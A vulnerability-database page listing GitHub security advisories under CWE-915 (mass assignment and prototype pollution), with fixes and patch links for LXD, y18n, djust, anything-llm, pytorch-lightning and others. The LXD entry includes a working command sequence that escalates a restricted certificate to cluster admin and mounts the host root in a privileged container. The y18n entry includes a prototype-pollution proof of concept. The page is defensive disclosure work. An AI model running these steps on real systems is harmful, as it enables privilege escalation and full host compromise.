Common Weakness Enumeration

CWE-915

Allowed

Improperly Controlled Modification of Dynamically-Determined Object Attributes

Abstraction: Base · Status: Incomplete

The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

348 vulnerabilities reference this CWE, most recent first.

GHSA-C3H3-89QF-JQM5

Vulnerability from github – Published: 2026-04-10 19:20 – Updated: 2026-04-10 19:20
VLAI
Summary
LXD: Update of type field in restricted TLS certificate allows privilege escalation to cluster admin
Details

Summary

A restricted TLS certificate user can escalate to cluster admin by changing their certificate type from client to server via PUT/PATCH to /1.0/certificates/{fingerprint}. The non-admin guard and reset block in doCertificateUpdate fail to validate or reset the Type field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting ProtocolCluster with full admin privileges.

Details

doCertificateUpdate in lxd/certificates.go handles PUT/PATCH requests to /1.0/certificates/{fingerprint} for both privileged and unprivileged callers. The access handler is allowAuthenticated, so any trusted TLS user (including restricted) can reach this code.

For unprivileged callers (restricted users who fail the EntitlementCanEdit check at line 975), two defenses are intended to prevent field tampering:

  1. The guard block validates that Restricted, Name, and Projects match the original database record. Does not check Type.
        // Ensure the user in not trying to change fields other than the certificate.
        if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(dbInfo.Projects) != len(req.Projects) {
            return response.Forbidden(errors.New("Only the certificate can be changed"))
        }
  1. The reset block rebuilds the dbCert struct using original values for Restricted, Name, and Certificate. Uses reqDBType (caller-supplied) for Type instead of the original dbInfo type.
        // Reset dbCert in order to prevent possible future security issues.
        dbCert = dbCluster.Certificate{
            Certificate: dbInfo.Certificate,
            Fingerprint: dbInfo.Fingerprint,
            Restricted:  dbInfo.Restricted,
            Name:        dbInfo.Name,
            Type:        reqDBType,
        }

This allows the attacker to update the Type field of their own certificate from client to server, bypassing the authorization controls and escalating to cluster admin.

PoC

Tested on lxd 6.7.

As admin, create restricted project and restricted certificate:

# Create restricted project
lxc project create poc-restricted -c restricted=true
lxc profile device add default root disk path=/ pool=default --project poc-restricted
lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted

# Add client certificate
lxc config trust add --restricted --projects poc-restricted --name poc-user
# pass token to user

As restricted user:

# Add token
lxc remote add target <token>

# Confirm we can only see the poc-restricted project
lxc project list target:

# Confirm we can't unrestrict the project
lxc project set target:poc-restricted restricted=false

# Get own certificate fingerprint
fp=$(lxc query target:/1.0/certificates | jq -r '.[0]')

# Update the type of certificate to server
lxc query -X PATCH -d '{ "type": "server" }' target:$fp
# or 
# lxc query -X PUT -d '{ "type": "server", "name": "poc-user", "restricted": true, "projects": ["poc-restricted"], "certificate": "" }' target:$fp

# Confirm type is 'server'
lxc config trust list target:

# Set project to restricted=false
lxc project set target:poc-restricted restricted=false

# Start privileged container (and escape to root)
lxc init ubuntu:24.04 target:privileged -c security.privileged=true
lxc config device add target:privileged hostfs disk source=/ path=/mnt/host
lxc start target:privileged

Impact

Privilege escalation from restricted TLS certificate user (project-scoped) to cluster admin.

Cluster admin can create privileged containers (security.privileged=true) or pass raw LXC config (raw.lxc), which provides root-level access to the host, leading to full host compromise.

The attack requires a single PUT/PATCH request. The escalation is persistent and takes effect immediately after the identity cache refresh. The change in permissions is not logged.

Affects any LXD deployment using legacy restricted TLS certificates (/1.0/certificates API).

Suggested remediation

  1. Add Type to the guard check at line 992:
if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name ||
    dbInfo.Type != req.Type || len(dbInfo.Projects) != len(req.Projects) {
  1. Use the original type in the reset block at line 1008:
origDBType, err := certificate.FromAPIType(dbInfo.Type)
if err != nil {
    return response.InternalError(err)
}

dbCert = dbCluster.Certificate{
    Certificate: dbInfo.Certificate,
    Fingerprint: dbInfo.Fingerprint,
    Restricted:  dbInfo.Restricted,
    Name:        dbInfo.Name,
    Type:        origDBType,
}

Patches

LXD Series Interim release
6 https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1
5.21 https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1
5.0 https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1
4.0 https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/canonical/lxd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20210305023314-538ac3df036e"
            },
            {
              "last_affected": "0.0.0-20260226085519-736f34afb267"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34179"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:20:50Z",
    "nvd_published_at": "2026-04-09T10:16:21Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA restricted TLS certificate user can escalate to cluster admin by changing their certificate type from `client` to `server` via PUT/PATCH to `/1.0/certificates/{fingerprint}`. The non-admin guard and reset block in `doCertificateUpdate` fail to validate or reset the `Type` field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting `ProtocolCluster` with full admin privileges.\n\n### Details\n\n`doCertificateUpdate` in `lxd/certificates.go` handles PUT/PATCH requests to `/1.0/certificates/{fingerprint}` for both privileged and unprivileged callers. The access handler is `allowAuthenticated`, so any trusted TLS user (including restricted) can reach this code.\n\nFor unprivileged callers (restricted users who fail the `EntitlementCanEdit` check at line 975), two defenses are intended to prevent field tampering:\n\n1. The guard block validates that `Restricted`, `Name`, and `Projects` match the original database record. Does not check `Type`.\n```go\n\t\t// Ensure the user in not trying to change fields other than the certificate.\n\t\tif dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(dbInfo.Projects) != len(req.Projects) {\n\t\t\treturn response.Forbidden(errors.New(\"Only the certificate can be changed\"))\n\t\t}\n```\n\n\n2. The reset block rebuilds the `dbCert` struct using original values for `Restricted`, `Name`, and `Certificate`. Uses `reqDBType` (caller-supplied) for `Type` instead of the original `dbInfo` type.\n```go\n\t\t// Reset dbCert in order to prevent possible future security issues.\n\t\tdbCert = dbCluster.Certificate{\n\t\t\tCertificate: dbInfo.Certificate,\n\t\t\tFingerprint: dbInfo.Fingerprint,\n\t\t\tRestricted:  dbInfo.Restricted,\n\t\t\tName:        dbInfo.Name,\n\t\t\tType:        reqDBType,\n\t\t}\n```\n\nThis allows the attacker to update the `Type` field of their own certificate from `client` to `server`,  bypassing the authorization controls and escalating to cluster admin.\n\n### PoC\n\nTested on lxd 6.7.\n\nAs admin, create restricted project and restricted certificate:\n```bash\n# Create restricted project\nlxc project create poc-restricted -c restricted=true\nlxc profile device add default root disk path=/ pool=default --project poc-restricted\nlxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted\n\n# Add client certificate\nlxc config trust add --restricted --projects poc-restricted --name poc-user\n# pass token to user\n```\n\nAs restricted user:\n```bash\n# Add token\nlxc remote add target \u003ctoken\u003e\n\n# Confirm we can only see the poc-restricted project\nlxc project list target:\n\n# Confirm we can\u0027t unrestrict the project\nlxc project set target:poc-restricted restricted=false\n\n# Get own certificate fingerprint\nfp=$(lxc query target:/1.0/certificates | jq -r \u0027.[0]\u0027)\n\n# Update the type of certificate to server\nlxc query -X PATCH -d \u0027{ \"type\": \"server\" }\u0027 target:$fp\n# or \n# lxc query -X PUT -d \u0027{ \"type\": \"server\", \"name\": \"poc-user\", \"restricted\": true, \"projects\": [\"poc-restricted\"], \"certificate\": \"\" }\u0027 target:$fp\n\n# Confirm type is \u0027server\u0027\nlxc config trust list target:\n\n# Set project to restricted=false\nlxc project set target:poc-restricted restricted=false\n\n# Start privileged container (and escape to root)\nlxc init ubuntu:24.04 target:privileged -c security.privileged=true\nlxc config device add target:privileged hostfs disk source=/ path=/mnt/host\nlxc start target:privileged\n```\n\n### Impact\n\nPrivilege escalation from restricted TLS certificate user (project-scoped) to cluster admin.\n\nCluster admin can create privileged containers (`security.privileged=true`) or pass raw LXC config (`raw.lxc`), which provides root-level access to the host, leading to full host compromise.\n\nThe attack requires a single PUT/PATCH request. The escalation is persistent and takes effect immediately after the identity cache refresh. The change in permissions is not logged.\n\nAffects any LXD deployment using legacy restricted TLS certificates (`/1.0/certificates` API).\n\n## Suggested remediation\n\n1. Add `Type` to the guard check at line 992:\n\n```go\nif dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name ||\n    dbInfo.Type != req.Type || len(dbInfo.Projects) != len(req.Projects) {\n```\n\n2. Use the original type in the reset block at line 1008:\n\n```go\norigDBType, err := certificate.FromAPIType(dbInfo.Type)\nif err != nil {\n    return response.InternalError(err)\n}\n\ndbCert = dbCluster.Certificate{\n    Certificate: dbInfo.Certificate,\n    Fingerprint: dbInfo.Fingerprint,\n    Restricted:  dbInfo.Restricted,\n    Name:        dbInfo.Name,\n    Type:        origDBType,\n}\n```\n\n### Patches\n\n| LXD Series  | Interim release |\n| ------------- | ------------- |\n| 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1  |\n| 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1  |\n| 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |\n| 4.0  | https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1 |",
  "id": "GHSA-c3h3-89qf-jqm5",
  "modified": "2026-04-10T19:20:50Z",
  "published": "2026-04-10T19:20:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/security/advisories/GHSA-c3h3-89qf-jqm5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34179"
    },
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/pull/17936"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/canonical/lxd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LXD: Update of type field in restricted TLS certificate allows privilege escalation to cluster admin"
}

GHSA-C4W7-XM78-47VH

Vulnerability from github – Published: 2021-03-29 16:05 – Updated: 2023-09-07 20:22
VLAI
Summary
Prototype Pollution in y18n
Details

Overview

The npm package y18n before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution.

POC

const y18n = require('y18n')();

y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});

console.log(polluted); // true

Recommendation

Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "y18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "y18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.0.0"
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "y18n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-20",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-12T21:23:11Z",
    "nvd_published_at": "2020-11-17T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Overview\n\nThe npm package `y18n` before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution. \n\n### POC\n\n```js\nconst y18n = require(\u0027y18n\u0027)();\n\ny18n.setLocale(\u0027__proto__\u0027);\ny18n.updateLocale({polluted: true});\n\nconsole.log(polluted); // true\n```\n\n### Recommendation\n\nUpgrade to version 3.2.2, 4.0.1, 5.0.5 or later.",
  "id": "GHSA-c4w7-xm78-47vh",
  "modified": "2023-09-07T20:22:08Z",
  "published": "2021-03-29T16:05:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7774"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yargs/y18n/issues/96"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yargs/y18n/pull/108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yargs/y18n/commit/90401eea9062ad498f4f792e3fff8008c4c193a3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yargs/y18n/commit/a9ac604abf756dec9687be3843e2c93bfe581f25"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yargs/y18n"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-Y18N-1021887"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in y18n"
}

GHSA-C67V-VQRP-M5WJ

Vulnerability from github – Published: 2026-09-16 21:56 – Updated: 2026-09-16 21:56
VLAI
Summary
djust: Unsigned client state snapshot is restored as trusted view state (privilege escalation / state injection)
Details

Impact

For views that opt into state snapshots, the snapshot state_json embedded in the client page was restored on reconnect as trusted view state with no integrity check. A client could edit the unsigned state_json in their page and return it in the reconnect mount frame to inject arbitrary view attributes — e.g. flip is_admin to True, or change account_id / balance — escalating privilege or tampering with business state held in public view attributes (the normal djust pattern).

Patches

Fixed in djust 1.0.7. State snapshots are signed; unsigned or forged snapshots are rejected on the back-navigation restore path.

Workarounds

Do not enable state snapshots; do not hold authorization/ownership state in public view attributes.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "djust"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61591"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T21:56:12Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nFor views that opt into state snapshots, the snapshot `state_json` embedded in the client page was restored on reconnect as **trusted** view state with no integrity check. A client could edit the unsigned `state_json` in their page and return it in the reconnect mount frame to **inject arbitrary view attributes** \u2014 e.g. flip `is_admin` to `True`, or change `account_id` / `balance` \u2014 escalating privilege or tampering with business state held in public view attributes (the normal djust pattern).\n\n### Patches\nFixed in **djust 1.0.7**. State snapshots are signed; unsigned or forged snapshots are rejected on the back-navigation restore path.\n\n### Workarounds\nDo not enable state snapshots; do not hold authorization/ownership state in public view attributes.",
  "id": "GHSA-c67v-vqrp-m5wj",
  "modified": "2026-09-16T21:56:12Z",
  "published": "2026-09-16T21:56:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/djust-org/djust/security/advisories/GHSA-c67v-vqrp-m5wj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/djust-org/djust"
    },
    {
      "type": "WEB",
      "url": "https://github.com/djust-org/djust/releases/tag/v1.0.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "djust: Unsigned client state snapshot is restored as trusted view state (privilege escalation / state injection)"
}

GHSA-C7M7-4257-H698

Vulnerability from github – Published: 2021-05-06 17:29 – Updated: 2021-05-05 21:29
VLAI
Summary
Prototype Pollution in templ8
Details

All versions of package templ8 up to and including 0.0.44 are vulnerable to Prototype Pollution via the parse function.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "templ8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.44"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7702"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-05T21:29:36Z",
    "nvd_published_at": "2020-08-17T14:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All versions of package templ8 up to and including 0.0.44 are vulnerable to Prototype Pollution via the parse function.",
  "id": "GHSA-c7m7-4257-h698",
  "modified": "2021-05-05T21:29:36Z",
  "published": "2021-05-06T17:29:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7702"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-TEMPL8-598770"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in templ8"
}

GHSA-CC7C-9JFF-58WJ

Vulnerability from github – Published: 2026-09-16 13:55 – Updated: 2026-09-16 13:55
VLAI
Summary
djust: Client mass-assignment of arbitrary view attributes via the default dj-model update_model handler
Details

Impact

djust.mixins.model_binding.ModelBindingMixin provides a default update_model event handler and is part of the LiveView base MRO, so every LiveView exposes it. It setattrs a view attribute whose name is client-supplied (field), gated only by: reject _-prefixed names; reject a 14-entry denylist of framework internals (FORBIDDEN_MODEL_FIELDS); optional allowed_model_fields which defaults to None = allow all; and hasattr existence.

Result: a client can set any public, existing view attribute — not just the fields actually bound with dj-model= in the rendered template. The denylist covers framework plumbing but nothing about developer business/authz state, and the allowlist is opt-in (off by default). A developer who binds one dj-model="search" input and also keeps self.account_id / self.is_admin / self.total_price as view state does not realize a client can set ALL of them via {type:event, event:"update_model", params:{field, value}} over the WebSocket. Type coercion matches the target attribute's type (so "true" -> bool True), aiding the attacker.

Severity High for apps that hold authorization/ownership/business state in public view attributes (the normal djust pattern) -> state tampering / IDOR / authz-flag manipulation; Low otherwise. Default-on across every LiveView. For a public (no-login) view an anonymous client can mass-assign; for an authenticated view a logged-in user can tamper their own session's view state (the IDOR/authz vector when downstream handlers act on it without re-authorizing).

Reproduced: a view with account_id/is_admin/total_price (none bound with dj-model) had all three set via update_model calls.

Patches

Restrict the default handler to fields actually exposed via dj-model=: have the template renderer record the bound-field set per render and reject any field outside it (preferred, secure + zero-config); or make allowed_model_fields fail-closed (required). Keep FORBIDDEN_MODEL_FIELDS only as defense-in-depth. Add a regression that a non-dj-model public attribute (e.g. is_admin) is rejected while a bound field still updates.

Workarounds

Set allowed_model_fields explicitly on every view using dj-model (or subclassing LiveView) to the minimal list of bindable fields; do not keep authorization/ownership state in public view attributes that share the view with dj-model bindings.

References

Reproducer + finding writeup retained privately by the maintainer.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "djust"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T13:55:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n`djust.mixins.model_binding.ModelBindingMixin` provides a default `update_model` event handler and is part of the **LiveView base MRO**, so every LiveView exposes it. It `setattr`s a view attribute whose **name is client-supplied** (`field`), gated only by: reject `_`-prefixed names; reject a **14-entry denylist** of framework internals (`FORBIDDEN_MODEL_FIELDS`); optional `allowed_model_fields` which **defaults to None = allow all**; and `hasattr` existence.\n\nResult: a client can set **any public, existing view attribute \u2014 not just the fields actually bound with `dj-model=` in the rendered template**. The denylist covers framework plumbing but nothing about developer business/authz state, and the allowlist is opt-in (off by default). A developer who binds one `dj-model=\"search\"` input and also keeps `self.account_id` / `self.is_admin` / `self.total_price` as view state does not realize a client can set ALL of them via `{type:event, event:\"update_model\", params:{field, value}}` over the WebSocket. Type coercion matches the target attribute\u0027s type (so `\"true\"` -\u003e bool True), aiding the attacker.\n\n**Severity High** for apps that hold authorization/ownership/business state in public view attributes (the normal djust pattern) -\u003e state tampering / IDOR / authz-flag manipulation; Low otherwise. Default-on across every LiveView. For a public (no-login) view an anonymous client can mass-assign; for an authenticated view a logged-in user can tamper their own session\u0027s view state (the IDOR/authz vector when downstream handlers act on it without re-authorizing).\n\nReproduced: a view with `account_id/is_admin/total_price` (none bound with dj-model) had all three set via `update_model` calls.\n\n### Patches\nRestrict the default handler to fields actually exposed via `dj-model=`: have the template renderer record the bound-field set per render and reject any `field` outside it (preferred, secure + zero-config); or make `allowed_model_fields` fail-closed (required). Keep `FORBIDDEN_MODEL_FIELDS` only as defense-in-depth. Add a regression that a non-`dj-model` public attribute (e.g. `is_admin`) is rejected while a bound field still updates.\n\n### Workarounds\nSet `allowed_model_fields` explicitly on every view using dj-model (or subclassing LiveView) to the minimal list of bindable fields; do not keep authorization/ownership state in public view attributes that share the view with dj-model bindings.\n\n### References\nReproducer + finding writeup retained privately by the maintainer.",
  "id": "GHSA-cc7c-9jff-58wj",
  "modified": "2026-09-16T13:55:48Z",
  "published": "2026-09-16T13:55:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/djust-org/djust/security/advisories/GHSA-cc7c-9jff-58wj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/djust-org/djust"
    },
    {
      "type": "WEB",
      "url": "https://github.com/djust-org/djust/releases/tag/v1.0.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "djust: Client mass-assignment of arbitrary view attributes via the default dj-model update_model handler"
}

GHSA-CFFW-PR5G-439R

Vulnerability from github – Published: 2024-04-10 18:30 – Updated: 2024-04-10 18:30
VLAI
Details

A vulnerability in mintplex-labs/anything-llm allows users with manager roles to escalate their privileges to admin roles through a mass assignment issue. The '/admin/system-preferences' API endpoint improperly authorizes manager-level users to modify the 'multi_user_mode' system variable, enabling them to access the '/api/system/enable-multi-user' endpoint and create a new admin user. This issue results from the endpoint accepting a full JSON object in the request body without proper validation of modifiable fields, leading to unauthorized modification of system settings and subsequent privilege escalation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-3283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-10T17:15:56Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in mintplex-labs/anything-llm allows users with manager roles to escalate their privileges to admin roles through a mass assignment issue. The \u0027/admin/system-preferences\u0027 API endpoint improperly authorizes manager-level users to modify the \u0027multi_user_mode\u0027 system variable, enabling them to access the \u0027/api/system/enable-multi-user\u0027 endpoint and create a new admin user. This issue results from the endpoint accepting a full JSON object in the request body without proper validation of modifiable fields, leading to unauthorized modification of system settings and subsequent privilege escalation.",
  "id": "GHSA-cffw-pr5g-439r",
  "modified": "2024-04-10T18:30:48Z",
  "published": "2024-04-10T18:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3283"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mintplex-labs/anything-llm/commit/52fac844221a9b951d08ceb93c4c014e9397b1f2"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/a8000cce-0ecb-4820-9cfb-57ba6f4d58a2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CGWC-QVRX-RF7F

Vulnerability from github – Published: 2024-06-06 18:30 – Updated: 2024-10-16 18:32
VLAI
Summary
Remote code execution in pytorch lightning
Details

A remote code execution (RCE) vulnerability exists in the lightning-ai/pytorch-lightning library version 2.2.1 due to improper handling of deserialized user input and mismanagement of dunder attributes by the deepdiff library. The library uses deepdiff.Delta objects to modify application state based on frontend actions. However, it is possible to bypass the intended restrictions on modifying dunder attributes, allowing an attacker to construct a serialized delta that passes the deserializer whitelist and contains dunder attributes. When processed, this can be exploited to access other modules, classes, and instances, leading to arbitrary attribute write and total RCE on any self-hosted pytorch-lightning application in its default configuration, as the delta endpoint is enabled by default.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lightning"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-5452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-06T22:10:56Z",
    "nvd_published_at": "2024-06-06T18:15:20Z",
    "severity": "CRITICAL"
  },
  "details": "A remote code execution (RCE) vulnerability exists in the lightning-ai/pytorch-lightning library version 2.2.1 due to improper handling of deserialized user input and mismanagement of dunder attributes by the `deepdiff` library. The library uses `deepdiff.Delta` objects to modify application state based on frontend actions. However, it is possible to bypass the intended restrictions on modifying dunder attributes, allowing an attacker to construct a serialized delta that passes the deserializer whitelist and contains dunder attributes. When processed, this can be exploited to access other modules, classes, and instances, leading to arbitrary attribute write and total RCE on any self-hosted pytorch-lightning application in its default configuration, as the delta endpoint is enabled by default.",
  "id": "GHSA-cgwc-qvrx-rf7f",
  "modified": "2024-10-16T18:32:25Z",
  "published": "2024-06-06T18:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5452"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Lightning-AI/pytorch-lightning/issues/20038"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lightning-ai/pytorch-lightning/commit/330af381de88cff17515418a341cbc1f9f127f9a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Lightning-AI/pytorch-lightning/releases/tag/2.3.3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lightning-ai/pytorch-lightning"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/486add92-275e-4a7b-92f9-42d84bc759da"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Remote code execution in pytorch lightning"
}

GHSA-CQQH-49MX-FQ63

Vulnerability from github – Published: 2021-09-13 20:16 – Updated: 2022-08-10 23:45
VLAI
Summary
merge vulnerable to Prototype Pollution
Details

merge is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@viking04/merge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3645"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-13T19:14:06Z",
    "nvd_published_at": "2021-09-10T11:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "merge is vulnerable to Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
  "id": "GHSA-cqqh-49mx-fq63",
  "modified": "2022-08-10T23:45:09Z",
  "published": "2021-09-13T20:16:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3645"
    },
    {
      "type": "WEB",
      "url": "https://github.com/viking04/merge/commit/baba40332080b38b33840d2614df6d4142dedaf6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/viking04/merge"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/ef387a9e-ca3c-4c21-80e3-d34a6a896262"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "merge vulnerable to Prototype Pollution"
}

GHSA-CRPF-4HRX-3JRP

Vulnerability from github – Published: 2026-02-19 20:28 – Updated: 2026-02-23 22:23
VLAI
Summary
Svelte SSR attribute spreading includes inherited properties from prototype chain
Details

